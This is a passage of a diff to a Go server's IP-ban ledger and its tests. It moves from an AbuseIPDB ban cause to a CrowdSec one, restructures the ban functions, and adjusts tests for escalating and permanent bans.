defer l.mu.Unlock()
|
||||||
@@ -698,42 +704,17 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// forgetEndedAbuseIPDBBans forgets each ban whose cause is CauseAbuseIPDB
|
// ban bans netblock at now for cause, with reason and notes, as
|
||||||
// and whose end is reached at now, lifted or not, and each netblock left
|
// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
|
||||||
// without a ban. It reports whether it forgot one.
|
// ban, and whether it made it. expires is when a ban for CauseCrowdSec
|
||||||
func (l *Ledger) forgetEndedAbuseIPDBBans(now time.Time) bool {
|
// ends, and zero for the others, whose end the ledger works out. Unless
|
||||||
forgot := false
|
// keep is true, the ban is not made, only returned: it is the ban that
|
||||||
|
// would have been made.
|
||||||
for _, netblock := range l.netblocks.Keys() {
|
|
||||||
bans, _ := l.netblocks.Peek(netblock)
|
|
||||||
|
|
||||||
kept := slices.DeleteFunc(*bans, func(ban Ban) bool {
|
|
||||||
return ban.Cause == CauseAbuseIPDB && !ban.Permanent() &&
|
|
||||||
!now.Before(ban.Expires)
|
|
||||||
})
|
|
||||||
if len(kept) == len(*bans) {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
forgot = true
|
|
||||||
|
|
||||||
if len(kept) == 0 {
|
|
||||||
l.netblocks.Remove(netblock)
|
|
||||||
} else {
|
|
||||||
*bans = kept
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return forgot
|
|
||||||
}
|
|
||||||
|
|
||||||
// ban bans netblock at now on grounds, as Ban describes, and returns the
|
|
||||||
// ban, and whether it made it. Unless keep is true, the ban is not made,
|
|
||||||
// only returned: it is the ban that would have been made.
|
|
||||||
func (l *Ledger) ban(
|
func (l *Ledger) ban(
|
||||||
netblock netip.Prefix,
|
netblock netip.Prefix,
|
||||||
now time.Time,
|
now, expires time.Time,
|
||||||
grounds Grounds,
|
cause, reason string,
|
||||||
|
notes Notes,
|
||||||
keep bool,
|
keep bool,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
@@ -742,8 +723,6 @@ func (l *Ledger) ban(
|
|||||||
// held are the netblock's bans, none of them active.
|
// held are the netblock's bans, none of them active.
|
||||||
var held []Ban
|
var held []Ban
|
||||||
|
|
||||||
notes := grounds.Notes
|
|
||||||
|
|
||||||
bans, found := l.netblocks.Get(netblock)
|
bans, found := l.netblocks.Get(netblock)
|
||||||
if found {
|
if found {
|
||||||
active := activeBan(*bans, now)
|
active := activeBan(*bans, now)
|
||||||
@@ -759,19 +738,18 @@ func (l *Ledger) ban(
|
|||||||
ban := Ban{
|
ban := Ban{
|
||||||
Netblock: netblock,
|
Netblock: netblock,
|
||||||
Start: now,
|
Start: now,
|
||||||
Cause: grounds.Cause,
|
Cause: cause,
|
||||||
|
Reason: reason,
|
||||||
Notes: notes,
|
Notes: notes,
|
||||||
}
|
}
|
||||||
|
|
||||||
switch grounds.Cause {
|
switch cause {
|
||||||
case CauseLimit:
|
|
||||||
ban.Reason = limitReason(notes)
|
|
||||||
ban.Expires = l.limitExpiry(held, now)
|
|
||||||
case CauseAttack:
|
case CauseAttack:
|
||||||
ban.Reason = attackReason(notes)
|
|
||||||
ban.Expires = l.attackExpiry(held, now)
|
ban.Expires = l.attackExpiry(held, now)
|
||||||
default:
|
case CauseLimit:
|
||||||
panic("bans: a request's ban has the cause " + grounds.Cause)
|
ban.Expires = l.limitExpiry(held, now)
|
||||||
|
default: // CauseCrowdSec
|
||||||
|
ban.Expires = expires
|
||||||
}
|
}
|
||||||
|
|
||||||
if !keep {
|
if !keep {
|
||||||
@@ -779,7 +757,7 @@ func (l *Ledger) ban(
|
|||||||
}
|
}
|
||||||
|
|
||||||
l.add(ban)
|
l.add(ban)
|
||||||
l.made[grounds.Cause]++
|
l.made[cause]++
|
||||||
l.markChanged()
|
l.markChanged()
|
||||||
|
|
||||||
return ban, true
|
return ban, true
|
||||||
@@ -806,8 +784,8 @@ func earlierBans(held []Ban) EarlierBans {
|
|||||||
fromHere.Attack++
|
fromHere.Attack++
|
||||||
case CauseAdmin:
|
case CauseAdmin:
|
||||||
fromHere.Admin++
|
fromHere.Admin++
|
||||||
case CauseAbuseIPDB:
|
case CauseCrowdSec:
|
||||||
fromHere.AbuseIPDB++
|
fromHere.CrowdSec++
|
||||||
}
|
}
|
||||||
|
|
||||||
notes := ban.Notes.EarlierBans
|
notes := ban.Notes.EarlierBans
|
||||||
@@ -815,7 +793,7 @@ func earlierBans(held []Ban) EarlierBans {
|
|||||||
Limit: notes.Limit + fromHere.Limit,
|
Limit: notes.Limit + fromHere.Limit,
|
||||||
Attack: notes.Attack + fromHere.Attack,
|
Attack: notes.Attack + fromHere.Attack,
|
||||||
Admin: notes.Admin + fromHere.Admin,
|
Admin: notes.Admin + fromHere.Admin,
|
||||||
AbuseIPDB: notes.AbuseIPDB + fromHere.AbuseIPDB,
|
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
|
||||||
}
|
}
|
||||||
|
|
||||||
// Of counts that name as many bans, the earlier ban's is taken: it
|
// Of counts that name as many bans, the earlier ban's is taken: it
|
||||||
@@ -830,7 +808,7 @@ func earlierBans(held []Ban) EarlierBans {
|
|||||||
|
|
||||||
// total returns how many bans e counts, of all causes.
|
// total returns how many bans e counts, of all causes.
|
||||||
func (e EarlierBans) total() int {
|
func (e EarlierBans) total() int {
|
||||||
return e.Limit + e.Attack + e.Admin + e.AbuseIPDB
|
return e.Limit + e.Attack + e.Admin + e.CrowdSec
|
||||||
}
|
}
|
||||||
|
|
||||||
// markChanged has Changed receive a value, unless one is waiting already.
|
// markChanged has Changed receive a value, unless one is waiting already.
|
||||||
@@ -901,9 +879,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
|
|||||||
|
|
||||||
// add adds ban to its netblock's bans, after the last, and makes its
|
// add adds ban to its netblock's bans, after the last, and makes its
|
||||||
// netblock the most recently seen. With MaxBans held, it drops one first,
|
// netblock the most recently seen. With MaxBans held, it drops one first,
|
||||||
// unless ban does not count toward MaxBans.
|
// unless ban's cause is CauseAdmin, which does not count toward MaxBans.
|
||||||
func (l *Ledger) add(ban Ban) {
|
func (l *Ledger) add(ban Ban) {
|
||||||
counted := countsTowardMaxBans(ban)
|
counted := ban.Cause != CauseAdmin
|
||||||
if counted && l.held == l.params.MaxBans {
|
if counted && l.held == l.params.MaxBans {
|
||||||
l.dropOne()
|
l.dropOne()
|
||||||
}
|
}
|
||||||
@@ -935,9 +913,9 @@ func (l *Ledger) add(ban Ban) {
|
|||||||
// limitExpiry returns when a ban for a broken limit made at now ends, or
|
// limitExpiry returns when a ban for a broken limit made at now ends, or
|
||||||
// zero when it is permanent. held are the netblock's bans, none of them
|
// zero when it is permanent. held are the netblock's bans, none of them
|
||||||
// active, of which the one that ended last, other than a ban for a clear
|
// active, of which the one that ended last, other than a ban for a clear
|
||||||
// sign of attack or a lifted one, can make the new ban longer. A ban an
|
// sign of attack or for CrowdSec's decision, or a lifted one, can make the
|
||||||
// admin adds to bans.json can start after another and end before it, so
|
// new ban longer. A ban an admin adds to bans.json can start after
|
||||||
// that one is looked for among them all.
|
// another and end before it, so that one is looked for among them all.
|
||||||
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
||||||
length := l.params.LimitBanDuration
|
length := l.params.LimitBanDuration
|
||||||
|
|
||||||
@@ -954,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
if last != nil &&
|
if last != nil &&
|
||||||
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||||
lastLength := last.Expires.Sub(last.Start)
|
lastLength := last.Expires.Sub(last.Start)
|
||||||
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
|
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||||
// that it cannot overflow.
|
// that it cannot overflow.
|
||||||
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
|
if lastLength > l.params.MaxBanDuration/repeatFactor {
|
||||||
return time.Time{}
|
return time.Time{}
|
||||||
}
|
}
|
||||||
|
|
||||||
length = repeatFactor * lastLength
|
length = repeatFactor * lastLength
|
||||||
}
|
}
|
||||||
|
|
||||||
if length > l.params.LimitBanPermanentAbove {
|
if length > l.params.MaxBanDuration {
|
||||||
return time.Time{}
|
return time.Time{}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -984,13 +962,7 @@ func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
return now.Add(l.params.AttackBanDuration)
|
return now.Add(l.params.AttackBanDuration)
|
||||||
}
|
}
|
||||||
|
|
||||||
// countsTowardMaxBans reports whether ban counts toward MaxBans: its cause
|
// dropOne drops the earliest ban whose cause is not CauseAdmin of the
|
||||||
// is CauseLimit or CauseAttack.
|
|
||||||
func countsTowardMaxBans(ban Ban) bool {
|
|
||||||
return ban.Cause == CauseLimit || ban.Cause == CauseAttack
|
|
||||||
}
|
|
||||||
|
|
||||||
// dropOne drops the earliest ban that counts toward MaxBans of the
|
|
||||||
// netblock that has gone longest without a request, of those that hold
|
// netblock that has gone longest without a request, of those that hold
|
||||||
// such a ban, and the netblock with it if that was its only ban. It is
|
// such a ban, and the netblock with it if that was its only ban. It is
|
||||||
// called with at least one such ban held. It looks at each netblock once
|
// called with at least one such ban held. It looks at each netblock once
|
||||||
@@ -999,9 +971,11 @@ func (l *Ledger) dropOne() {
|
|||||||
for range l.netblocks.Len() {
|
for range l.netblocks.Len() {
|
||||||
netblock, bans, _ := l.netblocks.GetOldest()
|
netblock, bans, _ := l.netblocks.GetOldest()
|
||||||
|
|
||||||
i := slices.IndexFunc(*bans, countsTowardMaxBans)
|
i := slices.IndexFunc(*bans, func(ban Ban) bool {
|
||||||
|
return ban.Cause != CauseAdmin
|
||||||
|
})
|
||||||
if i < 0 {
|
if i < 0 {
|
||||||
// None of its bans is dropped to make room. Get makes
|
// Its bans are all an admin's, and never dropped. Get makes
|
||||||
// it the most recently seen, so that the next netblock is
|
// it the most recently seen, so that the next netblock is
|
||||||
// looked at; when it was seen matters only for dropping a
|
// looked at; when it was seen matters only for dropping a
|
||||||
// ban, and a ban added to it makes it the most recently seen
|
// ban, and a ban added to it makes it the most recently seen
|
||||||
|
|||||||
+59
-129
@@ -22,11 +22,7 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
|||||||
// Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and
|
// Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and
|
||||||
// 81 hours.
|
// 81 hours.
|
||||||
for i, hours := range []int{1, 3, 9, 27, 81} {
|
for i, hours := range []int{1, 3, 9, 27, 81} {
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
|
|
||||||
length := time.Duration(hours) * time.Hour
|
length := time.Duration(hours) * time.Hour
|
||||||
if !ban.Expires.Equal(now.Add(length)) ||
|
if !ban.Expires.Equal(now.Add(length)) ||
|
||||||
@@ -46,7 +42,7 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
|||||||
|
|
||||||
// The sixth would last 243 hours, more than seven days: it is
|
// The sixth would last 243 hours, more than seven days: it is
|
||||||
// permanent, and never ends.
|
// permanent, and never ends.
|
||||||
ban, _ := ledger.Ban(netblock, now, bans.Grounds{Cause: bans.CauseLimit})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Permanent() {
|
if !ban.Permanent() {
|
||||||
t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires)
|
t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires)
|
||||||
}
|
}
|
||||||
@@ -75,15 +71,15 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
second, _ := ledger.Ban(
|
second, _ := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
first.Expires.Add(tc.gap),
|
first.Expires.Add(tc.gap),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
|
|
||||||
if second.Expires.Sub(second.Start) != tc.want ||
|
if second.Expires.Sub(second.Start) != tc.want ||
|
||||||
@@ -101,41 +97,37 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
|
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
if !ban.Permanent() {
|
if !ban.Permanent() {
|
||||||
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||||
// 3^13 hours, is not above it, and three times as long would not fit in
|
// hours, is within the maximum, and three times as long would not fit
|
||||||
// a time.Duration. The 15th is permanent.
|
// in a time.Duration. The 15th is permanent.
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
params.LimitBanPermanentAbove = 100000 * day
|
params.MaxBanDuration = 100000 * day
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
now := midnight()
|
now := midnight()
|
||||||
|
|
||||||
for i := range 14 {
|
for i := range 14 {
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
if !ban.Expires.After(ban.Start) {
|
if !ban.Expires.After(ban.Start) {
|
||||||
t.Fatalf(
|
t.Fatalf(
|
||||||
"ban %d starts at %s and ends at %s",
|
"ban %d starts at %s and ends at %s",
|
||||||
@@ -148,7 +140,7 @@ func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
|||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, _ := ledger.Ban(netblock, now, bans.Grounds{Cause: bans.CauseLimit})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Permanent() {
|
if !ban.Permanent() {
|
||||||
t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires)
|
t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires)
|
||||||
}
|
}
|
||||||
@@ -160,19 +152,15 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, made := ledger.Ban(
|
first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
if !made {
|
if !made {
|
||||||
t.Error("the first ban was not made")
|
t.Error("the first ban was not made")
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made := ledger.Ban(
|
again, made := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
midnight().Add(time.Minute),
|
midnight().Add(time.Minute),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
|
|
||||||
if made || !reflect.DeepEqual(again, first) ||
|
if made || !reflect.DeepEqual(again, first) ||
|
||||||
@@ -187,10 +175,10 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made = ledger.Ban(
|
again, made = ledger.BanForAttack(
|
||||||
netblock,
|
netblock,
|
||||||
midnight().Add(time.Minute),
|
midnight().Add(time.Minute),
|
||||||
bans.Grounds{Cause: bans.CauseAttack},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
if made || !reflect.DeepEqual(again, first) {
|
if made || !reflect.DeepEqual(again, first) {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -207,10 +195,10 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit, Notes: bans.Notes{Requests: 5}},
|
bans.Notes{Requests: 5},
|
||||||
)
|
)
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
@@ -249,10 +237,10 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit, Notes: bans.Notes{Requests: 5}},
|
bans.Notes{Requests: 5},
|
||||||
)
|
)
|
||||||
|
|
||||||
got, banned, _ := ledger.Find(
|
got, banned, _ := ledger.Find(
|
||||||
@@ -299,24 +287,24 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
|
|||||||
d := netip.MustParsePrefix("2001:db8::/64")
|
d := netip.MustParsePrefix("2001:db8::/64")
|
||||||
now := midnight()
|
now := midnight()
|
||||||
|
|
||||||
first, _ := ledger.Ban(a, now, bans.Grounds{Cause: bans.CauseLimit})
|
first, _ := ledger.BanForLimit(a, now, bans.Notes{})
|
||||||
ledger.Ban(b, now, bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(b, now, bans.Notes{})
|
||||||
ledger.Ban(c, now, bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(c, now, bans.Notes{})
|
||||||
|
|
||||||
// A request from a makes b the netblock seen longest ago, and its ban
|
// A request from a makes b the netblock seen longest ago, and its ban
|
||||||
// goes to make room for d's.
|
// goes to make room for d's.
|
||||||
ledger.Check(a.Addr(), now)
|
ledger.Check(a.Addr(), now)
|
||||||
ledger.Ban(d, now, bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(d, now, bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 0, c: 1, d: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 0, c: 1, d: 1})
|
||||||
|
|
||||||
// a is banned again once its ban has ended; c, seen longest ago, goes.
|
// a is banned again once its ban has ended; c, seen longest ago, goes.
|
||||||
ledger.Ban(a, first.Expires, bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(a, first.Expires, bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{a: 2, c: 0, d: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{a: 2, c: 0, d: 1})
|
||||||
|
|
||||||
// With d seen since, a is seen longest ago, and its earlier ban goes
|
// With d seen since, a is seen longest ago, and its earlier ban goes
|
||||||
// first.
|
// first.
|
||||||
ledger.Check(d.Addr(), first.Expires)
|
ledger.Check(d.Addr(), first.Expires)
|
||||||
ledger.Ban(b, first.Expires, bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(b, first.Expires, bans.Notes{})
|
||||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
||||||
|
|
||||||
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
||||||
@@ -337,16 +325,8 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
|
|||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
second, _ := ledger.Ban(
|
|
||||||
netblock,
|
|
||||||
first.Expires,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
|
|
||||||
held := ledger.Bans(netblock)
|
held := ledger.Bans(netblock)
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
|
if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
|
||||||
@@ -363,11 +343,7 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
|||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
||||||
|
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseAttack, Notes: notes},
|
|
||||||
)
|
|
||||||
if !ban.Expires.Equal(midnight().Add(7*day)) ||
|
if !ban.Expires.Equal(midnight().Add(7*day)) ||
|
||||||
ban.Cause != bans.CauseAttack ||
|
ban.Cause != bans.CauseAttack ||
|
||||||
ban.Notes.RuleID != "env-file" ||
|
ban.Notes.RuleID != "env-file" ||
|
||||||
@@ -442,16 +418,8 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
|||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
// A ban for a broken limit before does not count.
|
// A ban for a broken limit before does not count.
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
second, _ := ledger.BanForAttack(netblock, first.Expires, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
second, _ := ledger.Ban(
|
|
||||||
netblock,
|
|
||||||
first.Expires,
|
|
||||||
bans.Grounds{Cause: bans.CauseAttack},
|
|
||||||
)
|
|
||||||
|
|
||||||
if second.Expires.Sub(second.Start) != 7*day {
|
if second.Expires.Sub(second.Start) != 7*day {
|
||||||
t.Fatalf("the first ban for an attack lasts %s, want 7 days",
|
t.Fatalf("the first ban for an attack lasts %s, want 7 days",
|
||||||
@@ -467,10 +435,10 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
|||||||
|
|
||||||
// Its notes show the earlier ban for an attack that makes it permanent,
|
// Its notes show the earlier ban for an attack that makes it permanent,
|
||||||
// beside the one for a limit.
|
// beside the one for a limit.
|
||||||
third, _ := ledger.Ban(
|
third, _ := ledger.BanForAttack(
|
||||||
netblock,
|
netblock,
|
||||||
second.Expires.Add(30*day),
|
second.Expires.Add(30*day),
|
||||||
bans.Grounds{Cause: bans.CauseAttack},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
if !third.Permanent() ||
|
if !third.Permanent() ||
|
||||||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
||||||
@@ -484,18 +452,14 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// While the first ban lasts, none would be made.
|
// While the first ban lasts, none would be made.
|
||||||
during, would := ledger.WouldBan(
|
during, would := ledger.WouldBanForAttack(
|
||||||
netblock,
|
netblock,
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseAttack},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
if would || !reflect.DeepEqual(during, first) {
|
if would || !reflect.DeepEqual(during, first) {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -508,19 +472,13 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
|
|
||||||
// As it ends, a clear sign of attack would ban for seven days, and a
|
// As it ends, a clear sign of attack would ban for seven days, and a
|
||||||
// limit broken again for three hours, but neither is made.
|
// limit broken again for three hours, but neither is made.
|
||||||
limitGrounds := bans.Grounds{
|
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
||||||
Cause: bans.CauseLimit,
|
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
||||||
Notes: bans.Notes{Kind: "requests", Limit: 1, Window: "minute"},
|
bans.Notes{RuleID: "git-dir"})
|
||||||
}
|
limit, wouldLimit := ledger.WouldBanForLimit(
|
||||||
attack, wouldAttack := ledger.WouldBan(netblock, first.Expires,
|
|
||||||
bans.Grounds{
|
|
||||||
Cause: bans.CauseAttack,
|
|
||||||
Notes: bans.Notes{RuleID: "git-dir"},
|
|
||||||
})
|
|
||||||
limit, wouldLimit := ledger.WouldBan(
|
|
||||||
netblock,
|
netblock,
|
||||||
first.Expires,
|
first.Expires,
|
||||||
limitGrounds,
|
limitNotes,
|
||||||
)
|
)
|
||||||
|
|
||||||
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
||||||
@@ -547,7 +505,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// The ban made is the one that would have been.
|
// The ban made is the one that would have been.
|
||||||
made, _ := ledger.Ban(netblock, first.Expires, limitGrounds)
|
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
|
||||||
if !reflect.DeepEqual(made, limit) {
|
if !reflect.DeepEqual(made, limit) {
|
||||||
t.Errorf("the ban made is %+v, want %+v", made, limit)
|
t.Errorf("the ban made is %+v, want %+v", made, limit)
|
||||||
}
|
}
|
||||||
@@ -568,11 +526,7 @@ func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
|
|||||||
t.Fatalf("ban %d for a limit would be permanent", i+1)
|
t.Fatalf("ban %d for a limit would be permanent", i+1)
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
